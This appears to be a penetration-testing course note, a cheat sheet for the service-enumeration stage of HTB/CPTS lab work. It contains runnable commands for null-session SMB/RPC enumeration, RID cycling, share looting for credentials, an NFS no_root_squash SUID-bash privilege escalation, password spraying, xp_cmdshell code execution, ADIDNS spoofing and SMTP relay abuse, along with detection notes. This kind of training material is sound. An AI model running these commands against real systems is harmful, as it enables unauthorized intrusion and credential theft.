[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 06 of 17 · Focus: Stage 03 — Service Enumeration
Previous: Foothold Toolkit — Shells, Payloads, and Metasploit · Next: Stage 04 — Active Directory Enumeration
🗂️ STAGE 3 — SMB, RPC & Other-Service Enumeration
Non-web, non-LDAP service enum. Every box: fire the null-session probes first — a working null session is worth as much as low-priv creds for enumeration. Then work each open service look-for → enumerate → exploit. Deep dives: Anonymous Null Testing, SMBMAP, NetExec - SpiderPlus, Snaffler, NFS - Cheatsheet, 6 - Attacking SMB, 9 - Attacking DNS.
⏱️ 60-Second Triage — port → first 3 commands
The “what do I run in the first minute” table. Full sections below; this is the fast pass over an nmap result. $IP = target, $DOMAIN = AD domain, $DC = domain controller.
| Port(s) | Service | First 3 commands |
|---|---|---|
| 445/139 | SMB | nxc smb $IP · nxc smb $IP -u '' -p '' --shares · smbclient -N -L //$IP |
| 135 | RPC | rpcclient -N -U '' $IP -c 'enumdomusers' · rpcdump.py $IP · nxc smb $IP -u '' -p '' --rid-brute |
| 389/636 | LDAP(S) | ldapsearch -x -H ldap://$IP -s base namingcontexts · nxc ldap $IP -u '' -p '' · windapsearch --dc $IP -U |
| 53 | DNS | dig axfr $DOMAIN @$IP · dnsrecon -d $DOMAIN -n $IP · fierce --domain $DOMAIN --dns-servers $IP |
| 88 | Kerberos | kerbrute userenum -d $DOMAIN --dc $DC users.txt · nxc smb $IP (confirm DC) · ldapsearch -x -H ldap://$DC -s base |
| 21 | FTP | nxc ftp $IP -u 'anonymous' -p '' · ftp anonymous@$IP · nmap -sC -p21 $IP |
| 2049/111 | NFS | showmount -e $IP · nmap --script nfs* -p111,2049 $IP · sudo mount -t nfs $IP:/ ./mnt -o nolock |
| 161/udp | SNMP | onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP · snmpwalk -v2c -c public $IP · snmp-check -c public $IP |
| 25 | SMTP | nmap -sC -p25 $IP (smtp-commands) · smtp-user-enum -M VRFY -U users.txt -t $IP · swaks --to test@$DOMAIN --server $IP |
| 110/143 | POP3/IMAP | telnet $IP 110 (USER enum) · nmap -sC -p110,143,993,995 $IP · curl -k "imaps://$IP" --user "$U:$P" |
| 1433 | MSSQL | nxc mssql $IP -u "$U" -p "$P" · mssqlclient.py "$DOMAIN/$U:$P"@$IP -windows-auth · nmap --script ms-sql-info -p1433 $IP |
| 3306 | MySQL | nxc mysql $IP -u "$U" -p "$P" · mysql -u root -h $IP · nmap -sC -p3306 $IP |
| 5432 | PostgreSQL | psql -h $IP -U postgres (blank/postgres) · nxc pgsql $IP -u postgres -p postgres · nmap --script pgsql-brute -p5432 $IP |
| 6379 | Redis | redis-cli -h $IP info · redis-cli -h $IP config get dir · nc $IP 6379 (banner) |
| 27017 | MongoDB | mongosh "mongodb://$IP:27017" · nmap --script mongodb-info -p27017 $IP · mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})' |
| 3389 | RDP | nxc rdp $IP (NLA check) · nmap --script rdp-ntlm-info -p3389 $IP · xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore |
| 5985/5986 | WinRM | nxc winrm $IP -u "$U" -p "$P" · evil-winrm -i $IP -u "$U" -p "$P" · nmap -sC -p5985,5986 $IP |
| 22 | SSH | ssh-audit $IP · nmap -sC -p22 $IP (hostkeys/auth) · ssh $U@$IP |
| 5900+ | VNC | nmap --script vnc-info,vnc-brute -p5900 $IP · vncviewer $IP:0 · hydra -P passwords.txt $IP vnc |
| 23 | Telnet | nc $IP 23 (banner) · telnet $IP · nmap -sC -p23 $IP |
| 623/udp | IPMI | nmap -sU -p623 --script ipmi-version $IP · MSF ipmi_dumphashes · ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list |
[!tip] CPTS tip — the triage table is deliberately null/anonymous-only. If ANY of the three commands answers (shares list, users dump, AXFR succeeds, Redis
inforeturns), stop scanning and mine that service before touching the next port. Low-hanging fruit rots fast in a timed exam.
> SMB — anonymous / null / guest (445 / 139)
What to look for: null or guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), the domain + hostname, SMB signing state (relay potential), NTLM on/off. SMB enum maps to MITRE ATT&CK T1135 Network Share Discovery and T1046 Network Service Discovery.
Enumerate:
nxc smb $IP # OS, domain, hostname, signing, SMBv1, NTLM state
nxc smb $IP -u '' -p '' --shares # true null session
nxc smb $IP -u 'guest' -p '' --shares # guest account
nxc smb $IP -u 'oxdf' -p '' --shares # bogus creds sometimes list shares (Authority trick)
smbclient -N -L //$IP # anon share list (Samba native)
smbmap -H $IP -u '' -p '' # null-session share list + perms (READ/WRITE/NO ACCESS)
rpcclient -N -U '' $IP # null RPC — then enumdomusers, querydispinfo
NetExec SMB flag cheat table (the ones that matter for Stage 3):
| Flag | Needs auth? | What it gives you |
|---|---|---|
--shares | null sometimes | share names + READ/WRITE perms |
--users | null sometimes | user list via SAMR (no RID cycling) |
--groups | null sometimes | domain groups |
--loggedon-users | local admin | sessions on the host (spray targets) |
--pass-pol | null sometimes | lockout threshold — read BEFORE spraying |
--rid-brute | null sometimes | full user list via RID cycling (noisy) |
--disks | auth | disk inventory |
-M spider_plus | auth | recursive file inventory → JSON (see below) |
--ntds / --sam / --lsa | local admin | cred dumps (Stage 10 territory) |
-x "cmd" | local admin | command exec (SMB-only hosts, no AV bypass) |
Exploit / Attack: a null session that lists users/shares feeds everything downstream — dump users → spraying, dump shares → loot, dump pass-pol → safe spray window.
nxc smb $IP -u '' -p '' --users # user list with no creds
nxc smb $IP -u '' -p '' --groups # groups, no creds
nxc smb $IP -u '' -p '' --pass-pol # lockout threshold BEFORE you spray
nxc smb $DC -u '' -p '' --rid-brute # RID-cycle users out of a null session (noisy)
nxc smb $IP -u 'guest' -p '' --users --shares # guest-account variant when true null fails
Null-session fallbacks when nxc/rpcclient null is refused (Impacket one-shots — impacket):
samrdump.py $IP # SAMR user list, tries null auth
lookupsid.py $IP # SID→name RID cycling over null session
lookupsid.py -no-pass guest@$IP # guest-account RID cycling
samrdump.py -no-pass guest@$IP # guest SAMR dump
[!note]
lookupsid.pyandsamrdump.pyboth honor-no-passfor an anonymous bind and will fall back through auth levels — they’re the fastest “did null really die?” check, because nxc reports the first failure and stops.
[!warning] Watch out
STATUS_LOGON_FAILURE= null blocked;STATUS_ACCESS_DENIED= authed-but-no-priv (still useful — auth works).--rid-brute/ RID cycling spews hundreds of Event ID 4625 — noisy, expect it on a monitored box.NTLM:Falsein thenxc smb $IPbanner = NTLM disabled → use Kerberos everywhere from here (-k,getTGT).- Detection: null/guest probing shows as Event ID 4624/4625 logon type 3 (network) on the target; share access adds 5140/5145. Sequential probing of many hosts from one source IP is a trivial SOC correlation.
- SMBv1 in the banner = legacy host; on a 2003/XP-era box check EternalBlue (MS17-010) — but on anything modern it just flags an outdated build for the report.
> SMB — share listing, spidering & downloading
What to look for: writable shares, and inside them: .kdbx / .psafe3, web.config, unattend.xml, Groups.xml (GPP), id_rsa, .ps1/.bat, .xlsx, Ansible vaults, .bak.
Enumerate:
smbmap -H $IP -u "$U" -p "$P" -r # recursive listing with per-share perms
smbmap -H $IP -u "$U" -p "$P" -r 'Finance/Payroll' --depth 5 # dive one share deep
nxc smb $IP -u "$U" -p "$P" --shares # perms per share
nxc smb $IP -u "$U" -p "$P" -M spider_plus # read-only file inventory -> JSON
smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" # interactive browse
smbclient quick reference (inside the interactive shell):
ls # list
cd IT\ # move
get script.ps1 # pull one file
mget *.xml # pull by pattern
prompt OFF; recurse ON; mget * # bulk-pull everything, no confirmation
put shell.aspx # upload (only if WRITE perm confirmed)
Full usage: smbclient //$IP/SHARE -U "$DOMAIN/$U%$P".
Exploit / Attack: auto-loot. smbmap -A regex-downloads on hit; spider_plus with READ_ONLY=false pulls filtered files to /tmp/nxc_spider_plus/<IP>/.
# smbmap regex auto-download (requires -r) — grab creds/config/keys
smbmap -H $IP -u "$U" -p "$P" -r -A '(password|cred|secret|\.kdbx|id_rsa|\.config)' --depth 6 -q
# smbclient bulk pull of a whole share
smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" -c 'prompt OFF; recurse ON; mget *'
smbclient -N //$IP/SHARE -c 'prompt OFF; recurse ON; mget *' # null-session variant
# spider_plus targeted download, then grep the loot
nxc smb $IP -u "$U" -p "$P" -M spider_plus -o READ_ONLY=false \
PATTERN=password,cred,config,backup EXT=txt,xml,config,ini,kdbx,pem MAX_FILE_SIZE=10485760
grep -r -i "password" /tmp/nxc_spider_plus/$IP/
What to hunt in the loot (priority order):
| File / pattern | Why |
|---|---|
web.config, appsettings.json | DB connection strings, machine keys |
unattend.xml, sysprep.xml | local admin creds (cleartext or base64) |
Groups.xml (SYSVOL) | GPP cpassword → gpp-decrypt |
.kdbx, .psafe3, .keychain | password DBs → keepass2john → hashcat |
*.ps1, *.bat, *.vbs | hardcoded service creds in deploy scripts |
id_rsa, *.pem, *.ppk | SSH keys |
*.xlsx, passwords.* | spreadsheets named like they sound |
[!tip] Recon read-only first (
-M spider_plusalone → JSON at/tmp/nxc_spider_plus/<IP>_*.json),jqthe inventory to pick targets, then flipREAD_ONLY=falsewith tight filters. Downloading everything is slow and loud.
[!warning] Watch out
- smbmap
-Aneeds-r(lowercase); combining with legacy-Rerrors on current builds. Matches auto-download to your CWD —cdsomewhere sane first.- Deep recursion (
--depth > 3) = high SMB read volume, flags DLP/EDR. Scope to one share when you can.- Copying files (smbmap
--upload, spider download) to admin shares (C$,ADMIN$) lights up EID 5140/5145 — prefer non-admin writable shares.- MITRE: T1552.001 Unsecured Credentials: Credentials In Files — share looting is exactly this; note it in the report narrative.
> enum4linux-ng — one-pass SMB sweep
What to look for: the whole SMB picture in one shot — domain/workgroup, users, groups, shares, OS, and the password policy (JSON/YAML export you can feed downstream). enum4linux-ng is the maintained Python rewrite of the legacy Perl enum4linux.
Enumerate:
enum4linux-ng -A $IP # full auto sweep (users, groups, shares, OS, pol)
enum4linux-ng -A $IP -oA recon/enum4linux # same + JSON/YAML export for tooling
enum4linux-ng -A $IP -u "$U" -p "$P" # authenticated — pulls far more
enum4linux-ng -P $IP -oA ilfreight # password policy only (do this before spraying)
enum4linux-ng -U $IP # users only
enum4linux-ng -S $IP # shares only
enum4linux-ng -G $IP # groups only
enum4linux-ng -P -u '' -p '' $IP # null-session pass-pol (172.16.5.5-style DC)
Flag cheat table:
| Flag | Meaning |
|---|---|
-A | all simple enum (users, shares, groups, pol, OS, printers) |
-U | users |
-G | groups |
-S | shares |
-P | password policy |
-R | RID cycling (range with -r 500-1100) |
-oA <base> | export JSON + YAML |
-u/-p/-d | creds / domain for authed enum |
[!note]
enum4linux-ng(Python, maintained,-oAJSON/YAML) is the default over the original Perlenum4linux, which is effectively unmaintained and has no JSON output. On a plain box the legacyenum4linux -a $IPstill works if-ngisn’t installed.
[!warning] Watch out
-A/-aincludes RID cycling → hundreds of Event ID 4625 failed-logon events. On a monitored target, run targeted flags (-U -S -P) instead of the full sweep.
> RPC — rpcdump, rpcclient enum & RID cycling (135 / 593)
What to look for: exposed RPC interfaces (the rpcdump.py interface list reveals which coercion endpoints a host answers — EFS/MS-EFSRPC, spooler/MS-RPRN, DFS/MS-DFSNM), full user list (even when SMB --users is blocked), group memberships, the domain SID, per-user detail (querydispinfo often leaks descriptions with passwords).
Enumerate — interface dump:
rpcdump.py $IP # every registered RPC endpoint
rpcdump.py $IP | grep -iE 'EFS|MS-RPRN|DFSNM' # coercion surface check (relay section below)
rpcdump.py $IP | grep -i spoolsv # Print Spooler present -> printerbug possible
Enumerate — rpcclient cheat table (all inside rpcclient -N -U '' $IP, or -c '...' one-shots):
| Command | Returns |
|---|---|
srvinfo | server role + OS build |
enumdomusers | all users (+ RIDs) |
enumdomgroups | domain groups |
querydispinfo | user detail — DESCRIPTIONS (creds land here) |
getdompwinfo | password policy (min length, lockout) |
netshareenumall | every share incl. hidden |
queryuser 0x1f4 | detail on RID 500 (Administrator) |
queryuser 0x460 | detail on RID 1120 (a real account) |
querygroupmem 512 | Domain Admins members |
lookupnames guest | resolve name → SID (grab domain SID) |
lookupsids <SID> | resolve SID → name (RID cycling) |
lsaenumsid | trusted-domain SIDs |
enumprinters | shared printers |
rpcclient -N -U '' $IP # null session, then interactive commands above
# one-liners:
rpcclient -N -U '' $IP -c 'enumdomusers'
rpcclient -N -U '' $IP -c 'enumdomusers;enumdomgroups;netshareenumall'
rpcclient -U "$DOMAIN/$U%$P" $IP -c 'querydispinfo'
Exploit / Attack — RID cycling (recover users when enumdomusers is restricted): grab the domain SID via any known name, then brute the RIDs.
# get the domain SID
rpcclient -N -U '' $IP -c 'lookupnames guest' # -> S-1-5-21-x-y-z-501
# cycle RIDs 500-1100 against that SID -> resolve names
for i in $(seq 500 1100); do \
rpcclient -N -U '' $IP -c "lookupsids S-1-5-21-x-y-z-$i" 2>/dev/null | grep -v 'NONE'; done
# or just let nxc / enum4linux-ng / impacket do it:
nxc smb $IP -u '' -p '' --rid-brute
lookupsid.py -no-pass guest@$IP
[!tip] Common RIDs: 500 Administrator, 501 Guest, 512 Domain Admins, 513 Domain Users, 1000+ real user accounts. Pull the 1000+ names into
users.txtfor AS-REP roasting / spraying in Stage 05.
[!warning] Watch out
rpcdump.pyis read-only and quiet;rpcclientenum is logon type 3 traffic (4624/4625). RID cycling against a DC is one of the loudest enumeration moves available — thousands of 4625s in a tight window.
> LDAP(S) — anonymous binds (389 / 636 / 3268 GC)
What to look for: an anonymous bind that answers — a lot of older/AD-integrated boxes (and nearly every HTB AD box’s “intended path” start) let you read the whole directory with no creds. MITRE T1087 Account Discovery / T1069 Permission Groups Discovery. Deep credentialed enum lives in Stage 04 — this block is the unauthenticated slice.
Enumerate — quick one-liners:
# 1) base probe — returns naming contexts if anonymous bind works at all
ldapsearch -x -H ldap://$IP -s base namingcontexts
# 2) full anonymous dump of the domain naming context
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" | tee ldap-anon.txt
# 3) targeted: users only, readable attributes
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
"(&(objectClass=user))" sAMAccountName description memberOf
# 4) password policy (from the domain head)
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
-s base "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockOutObservationWindow
# 5) global catalog on a DC (forest-wide, port 3268)
ldapsearch -x -H ldap://$IP:3268 -b "DC=inlanefreight,DC=local" "(objectClass=user)" sAMAccountName
# nxc sanity check on the same surface
nxc ldap $IP -u '' -p ''
Tooling for bigger dumps (all handle auth when you have it — Stage 04 uses these credentialed):
- ldapdomaindump —
ldapdomaindump -u "$DOMAIN\\$U" -p "$P" ldap://$IP→ HTML/JSON/grep-able directory dump (users, groups, computers, trusts). - windapsearch —
windapsearch --dc $IP -U(users),-G(groups),-C(computers); add-u "$U@$DOMAIN" -p "$P"when authed. - ldeep — modern Python enum:
ldeep ldap -u "$U" -p "$P" -d "$DOMAIN" -s ldap://$IP all out/.
Exploit / Attack: the description/info fields are the classic leak — admins document passwords there. Grep your dump:
grep -iE "passw|pwd|creds?|key" ldap-anon.txt
grep -B2 -A2 -i "description" ldap-anon.txt
[!warning] Watch out
ldap_bind: Invalid credentials (49)on the base probe = anonymous bind disabled — normal on hardened domains; move to credentialed enum (Stage 04) or null-session SMB instead.- LDAP signing/channel-binding hardening only matters for relay, not for direct binds — don’t conflate the two.
- Non-DC hosts also speak LDAP (exchange, apps, printers) — an anonymous bind on an app server can leak a service account’s cleartext password in a
userPasswordattribute.- LDAPS (636) with
ldapsearchneeds-H ldaps://$IPand often-o ldif-wrap=noplus cert-ignoring viaLDAPTLS_REQCERT=neverenv var.
> Kerberos — username enumeration without creds (88/udp+tcp)
What to look for: the KDC telling you which usernames exist for free — a non-existent user returns KDC_ERR_C_PRINCIPAL_UNKNOWN, a valid one returns KDC_ERR_PREAUTH_REQUIRED (or a ticket). MITRE T1589.001 Gather Victim Identity: Credentials. This is the bridge into Stage 05.
[!tools] Stage this kerbrute_linux_amd64 (SHA-256 · GPG signature) kerbrute_windows_amd64.exe (SHA-256 · GPG signature)
Enumerate — kerbrute:
# Linux build — userenum does NOT cause lockouts (it only requests AS-REQs
# against names; no failed logons are recorded for non-existent users)
./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid-users.txt
# quick sanity with a tiny list first
./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN top100.txt
userenum vs passwordspray — the safe-vs-lockout note:
| Mode | What it does | Lockout risk |
|---|---|---|
userenum | AS-REQ per name only | None for invalid names; valid names with pre-auth log 4768 preauth-failures only if you go further |
passwordspray | one real password against every valid user | Yes — counts against the domain lockout threshold; read --pass-pol first |
# only AFTER nxc smb $DC --pass-pol tells you the threshold (Stage 8 does the spraying)
./kerbrute_linux_amd64 passwordspray --dc $DC -d $DOMAIN valid-users.txt 'Spring2026!'
[!tip] No valid users yet? Build the list from what Stage 3 already gave you: SMB
--users/RID-cycling output, LDAP dump, SMTP VRFY results, or generate candidates with username-anarchy from real names.valid-users.txtfeeds AS-REP roasting (GetNPUsers.py) and kerberoast-targeting in Stage 05.
[!warning] Watch out User-enum AS-REQs against invalid names log 4768 with “failure” status on the DC in audited environments, and a fast
userenumover a big wordlist is a distinctive burst — throttle with--threads 5on monitored targets.
> Snaffler — credential hunting across shares
What to look for: once you have any domain user, Snaffler walks every readable share on every domain host and triages hits: Black (.kdbx, .ppk, private keys, vaults), Red (.pfx/.p12, configs with creds), Yellow (web.config, scripts, connection strings), Green (interesting extensions). Runs as the current user — even low-priv finds SYSVOL, IT scripts, dept shares. MITRE T1552 Unsecured Credentials + T1083 File and Directory Discovery.
[!tools] Stage this Snaffler.exe (SHA-256 · GPG signature)
Enumerate / Run (drop Snaffler.exe on the target — or better, execute-assembly it from your C2 — and run in the domain user’s context):
.\Snaffler.exe -s -o snaffler.log # console + log, auto-discover via LDAP
.\Snaffler.exe -s -o snaffler.log -d $DOMAIN -c $DC # pin domain + DC
.\Snaffler.exe -s -o snaffler.log -a # SHARE-ONLY recon first (fast, low noise)
.\Snaffler.exe -s -o snaffler.tsv -y # TSV for parsing
Typical exam flow: -a to map shares in seconds → -i \\FS01\IT_Scripts to scope → full run on the scoped shares → triage Black/Red.
Exploit / Attack: triage the log, pull the Black/Red hits, crack/reuse.
grep -E "\[(Black|Red)\]" snaffler.log # highest-value first
grep "\.kdbx" snaffler.log # KeePass DBs -> keepass2john -> hashcat
grep -i "connectionstring" snaffler.log # DB creds in configs
# GPP cpassword found in SYSVOL Groups.xml:
gpp-decrypt <cpassword_base64>
[!tip]
-ashare-only recon before the full file scan lets you scope to interesting shares with-i "\\FS01\IT_Scripts", cutting time-on-target and noise. Use-f(DFS-only) for extra stealth. The standalone Windows-side companion for non-domain share hunting is PowerHuntShares.
[!warning] Watch out Snaffler generates significant SMB traffic across many hosts (EID 5140/5145, rapid
NetShareEnumAll) andSnaffler.exeis signatured by most EDR — preferexecute-assemblyin-memory over dropping the binary. On a production engagement, agree the scope before a full-domain run; it will appear in file-access dashboards.
> FTP — anonymous (21)
What to look for: anonymous login, then KeePass/Password-Safe DBs, backups, config dumps, notes hinting at the password policy (SeasonYear!).
Enumerate:
nxc ftp $IP -u 'anonymous' -p '' # 230 = anon allowed, 530 = blocked
nxc ftp $IP -u '' -p ''
ftp anonymous@$IP # interactive (nmap ftp-anon flags this too)
nxc ftp $IP -u 'anonymous' -p '' --ls # non-interactive listing
Exploit / Attack: pull everything — set binary before grabbing DBs/archives or they corrupt.
# interactive: binary ; prompt OFF ; mget *
ftp anonymous@$IP
# scripted grab-all:
echo -e "user anonymous\npass\nbinary\nprompt OFF\nmget *\nquit" | ftp -n $IP
nxc ftp $IP -u 'anonymous' -p '' --get file.kdbx
[!warning] Watch out Always
binarybefore pulling.kdbx/.psafe3/.zip/ DB files — ASCII mode mangles them. Empty-string password (-p '') and literalanonymousboth work; some servers want an email as the password.
> NFS — showmount, mount, no_root_squash (2049 / 111)
What to look for: exported shares (NFSv3 has no auth of its own — trust is pure UID/GID), readable files, and dangerous export options in /etc/exports: rw, insecure, nohide, and the jackpot no_root_squash. MITRE T1135 Network Share Discovery.
Enumerate:
showmount -e $IP # list exports, no creds needed
sudo nmap --script nfs* $IP -sV -p111,2049 # exports + contents + perms + stats
Exploit / Attack: mount, read with raw numeric UID/GID (the truth), impersonate the owner locally to read files. With no_root_squash + a shell on the box → local root.
mkdir target-NFS
sudo mount -t nfs $IP:/ ./target-NFS -o nolock # mount whole tree (nolock avoids hangs)
ls -n ./target-NFS/mnt/nfs/ # RAW UID/GID — plan impersonation
find ./target-NFS -ls # hunt readable loot
sudo useradd -u 1000 loameuser # recreate owning UID to read its files
# --- no_root_squash privesc (attacker is real root locally) ---
cp /bin/bash ./target-NFS/mnt/nfs/rootbash
sudo chown root:root ./target-NFS/mnt/nfs/rootbash
sudo chmod +s ./target-NFS/mnt/nfs/rootbash
# then on the TARGET's low-priv shell:
/mnt/nfs/rootbash -p # -p preserves SUID euid -> root shell
sudo umount ./target-NFS # clean up
[!warning] Watch out
no_root_squashis the whole point — it lets a remote-root-created file keep UID/GID 0, so a root-owned SUID binary in the share runs as root on the target. The safe defaultroot_squashmaps remote root tonobodyand blocks this.ls -lresolves names via your local/etc/passwdand lies — always usels -n.
> SNMP — community strings (161/udp)
What to look for: SNMP v1/v2c use plaintext community strings (public RO, private RW). A valid string leaks system info, running processes, installed software, local user accounts, network interfaces, sometimes creds in process args.
Enumerate:
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP # brute strings (https://github.com/trailofbits/onesixtyone)
snmpwalk -v2c -c public $IP # full walk (slow, tons of output — sift it) — net-snmp: https://github.com/net-snmp/net-snmp
snmpwalk -v1 -c public $IP # try v1 too — some boxes only answer v1 (Pandora)
snmp-check -c public $IP # structured dump: users, processes, software, netstat
Exploit / Attack: target the useful OIDs instead of drowning in a full walk.
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.1 # system: hostname, uptime, contact
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2 # running processes (creds in args!)
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3 # installed software
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # Windows user accounts
[!warning] Watch out A full
snmpwalkis thousands of queries — noisy and slow. Process listing (25.4.2) is the money OID: service scripts run with passwords on the command line and show up here in cleartext. UDP/161, so remembernmap -sUfinds it.
> DNS — zone transfer, subdomain enum & ADIDNS (53 TCP+UDP)
What to look for: the internal domain name, whether AXFR is allowed (zero-auth by protocol design → whole internal namespace in one request), extra subdomains/hostnames + internal IP scheme. MITRE T1590.002 Gather Victim Network Information: DNS.
Enumerate:
dig +noall +answer @$IP $DOMAIN # does it even resolve?
dig NS $DOMAIN @$IP +short # find the authoritative nameserver first
dig +noall +answer @$IP -x $IP # reverse -> domain name
dig +short srv _ldap._tcp.$DOMAIN @$IP # locate DCs via SRV records
dig +short srv _kerberos._tcp.$DOMAIN @$IP # locate KDCs
Exploit / Attack: request the full zone against the discovered nameserver, then sub-brute what AXFR missed.
dig axfr $DOMAIN @$IP # zone transfer (Trick, Snoopy, Pandora)
dig AXFR @ns1.$DOMAIN $DOMAIN # against the named NS explicitly
# dnsrecon — AXFR attempt + brute + reverse ranges in one tool (https://github.com/darkoperator/dnsrecon)
dnsrecon -d $DOMAIN -n $IP -t axfr
dnsrecon -d $DOMAIN -n $IP -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
# dnsenum — classic all-in-one (https://github.com/fwaeytens/dnsenum)
dnsenum --dnsserver $IP --enum $DOMAIN
# fierce — fast sub-brute + zone-transfer attempt (https://github.com/mschwager/fierce)
fierce --domain $DOMAIN --dns-servers $IP
ADIDNS poisoning (credentialed, internal): any domain user can create new DNS records in AD-integrated DNS (wildcard/LLMNR-like spoofing without the race). Dump the zone, then add a record pointing at yourself — pairs with Responder/ntlmrelayx below.
adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC # dump the whole ADIDNS zone (https://github.com/dirkjanm/adidnsdump)
dnstool.py -u "$DOMAIN\\$U" -p "$P" -r fakerec.$DOMAIN -a add -d $LHOST $DC # add a spoof record (krbrelayx suite)
[!tip] A successful AXFR is one of the fastest wins in the game — it hands you every subdomain, internal hostname, and IP in a single unauthenticated query. Test
dig axfragainst every nameserver you discover.
[!warning] Watch out Most modern servers reject AXFR from untrusted IPs (empty/
Transfer failed) — a failure is normal, not a dead end.dig anyis unreliable (resolvers filter it); query record types individually. Need the NS name for the@ns1.form — get it fromdig NSfirst. On AD networks, dynamic DNS updates (unauthenticated RFC 2136 on some labs) can also add records — but don’t confuse that with AXFR read access.
> SSH — audit, user enum & banners (22)
What to look for: the exact OpenSSH build (banner → CVE search), weak host-key algorithms and ciphers, enabled auth methods (password on = sprayable), and pre-auth user enumeration on old OpenSSH.
Enumerate:
nc $IP 22 # raw banner grab: SSH-2.0-OpenSSH_7.2p2 ...
ssh-audit $IP # full algo/cve/policy audit (https://github.com/jtesta/ssh-audit)
nmap -Pn -sC -sV -p22 $IP # ssh2-enum-algos, ssh-hostkey
Exploit / Attack:
# OpenSSH <= 7.7 user enumeration concept (CVE-2018-15473): a malformed packet makes the
# server answer differently for valid vs invalid usernames. Verify the version first.
python3 /usr/share/metasploit-framework/.../ssh_enumusers 2>/dev/null # or:
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_enumusers; set RHOSTS $IP; set USER_FILE users.txt; run; exit"
# spray discovered users (respect lockouts on AD-joined/PAM-faillock hosts)
hydra -L users.txt -p 'Summer2026!' -t 4 -W 5 ssh://$IP
# stolen key from NFS/FTP/SMB loot?
chmod 600 id_rsa && ssh -i id_rsa $U@$IP
[!warning] Watch out CVE-2018-15473 is a concept check, not a given — it only works on unpatched OpenSSH ≤ 7.7 (and derivatives that shipped the bug). Don’t burn time on it against OpenSSH 8.x+. SSH brute is one of the most-monitored vectors on the internet (auth.log / Event 4625 type 3 equivalents); spray slow with
-W. Deep dive: 🔷 Attacking SSH if present, else Common Ports and Services Cheatsheet 2026.
🐬 MSSQL (1433)
What to look for → a Microsoft SQL Server (top-tier on AD boxes). Windows-auth with a domain user often just works; from there xp_cmdshell → RCE, EXECUTE AS → sa, and linked servers hop you to hosts you can’t even reach. Full attack chains (xp_cmdshell privesc, linked-server pivots) continue in Stage 09 and Stage 10.
Enumerate
nxc mssql $IP -u "$U" -p "$P" # cleartext creds
nxc mssql $IP -u "$U" -p "$P" -q "SELECT @@version" # test query
nmap -Pn -sV --script ms-sql-info -p1433 $IP # version + config without creds
nxc mssql $IP -u "$U" -p "$P" -M mssql_priv # map impersonation/linked-server paths
Exploit / lateral (mssqlclient.py, sqsh as the interactive alternative on some distros)
# foothold — Windows integrated auth is the common HTB path
mssqlclient.py "$DOMAIN"/"$U":"$P"@$IP -windows-auth
# in-client:
# SQL> enable_xp_cmdshell
# SQL> xp_cmdshell whoami
# SQL> EXECUTE AS LOGIN = 'sa'; -- impersonate up to sa if granted IMPERSONATE
# SQL> EXEC sp_linkedservers; -- discover linked servers
# SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQL02]; -- run on the LINKED box (double-hop)
# sqsh interactive variant:
sqsh -S $IP -U "$U" -P "$P" -h
[!warning] Watch out
xp_cmdshellruns as the SQL service account — checkwhoami /privforSeImpersonate(→ potato, STAGE 9). Linked-server chains often run assaon the far end even when you’re low-priv locally — enumerate the wholesp_linkedserversgraph before giving up.xp_cmdshellwrites tosys.configurations— a 1433 login followed by reconfiguration is a classic SQL-audit-log tripwire (and shows as MSSQL AUDIT events). Deep dive: 🔷 Attack.
📡 More Services — SMTP · IMAP/POP3 · MySQL · PostgreSQL · Redis · MongoDB · Oracle · RDP · WinRM · VNC/Telnet · IPMI · R-services
The services STAGE 3 hasn’t touched yet — mail, the other database engines, remote-desktop, and the legacy/out-of-band stuff (SNMP write, IPMI, rsync, r-services, finger). Same rhythm: look-for → enumerate → exploit. Module deep-dives: 10 - Attacking Email Services · 7 - Attacking SQL Databases · 8 - Attacking RDP · 5 - Attacking FTP · protocol NSE scripts in NSE Guide, ports in Common Ports and Services Cheatsheet 2026.
> SMTP — user enum, open relay & spray (25 / 465 / 587)
What to look for: VRFY/EXPN in the nmap smtp-commands banner, an open relay, Postfix/Exchange/OpenSMTPD banner (CVE-2020-7247 unauth RCE), and — from the MX record — whether mail is self-hosted or a cloud tenant (O365/G-Suite), which changes the whole approach.
Enumerate:
host -t MX $DOMAIN # who handles mail — cloud vs self-hosted
dig +short mx $DOMAIN
sudo nmap -Pn -sV -sC -p25,465,587 $IP # smtp-commands leaks VRFY/EXPN support
# manual user enum — telnet, try ALL THREE primitives (killing VRFY doesn't kill RCPT)
telnet $IP 25
# VRFY root 252/250 = exists, 550 = unknown
# EXPN support-team expands a distro list -> every member (bigger leak)
# MAIL FROM:a@a.com + RCPT TO:john 250 = valid recipient (hardest to disable)
# automate against a list (RCPT mode needs -D <domain>) — https://github.com/pentestmonkey/smtp-user-enum
smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP
smtp-user-enum -M VRFY -U users.txt -t $IP
smtp-user-enum -M EXPN -U users.txt -t $IP
Exploit / Attack: confirmed users → spray; open relay → spoofed phishing; cloud tenant → purpose-built tooling.
# spray discovered users (pop3/imap/smtp all valid — just swap the module name)
hydra -L users.txt -p 'Company01!' -f $IP smtp
# open relay -> send AS a trusted internal sender
nmap -p25 -Pn --script smtp-open-relay $IP
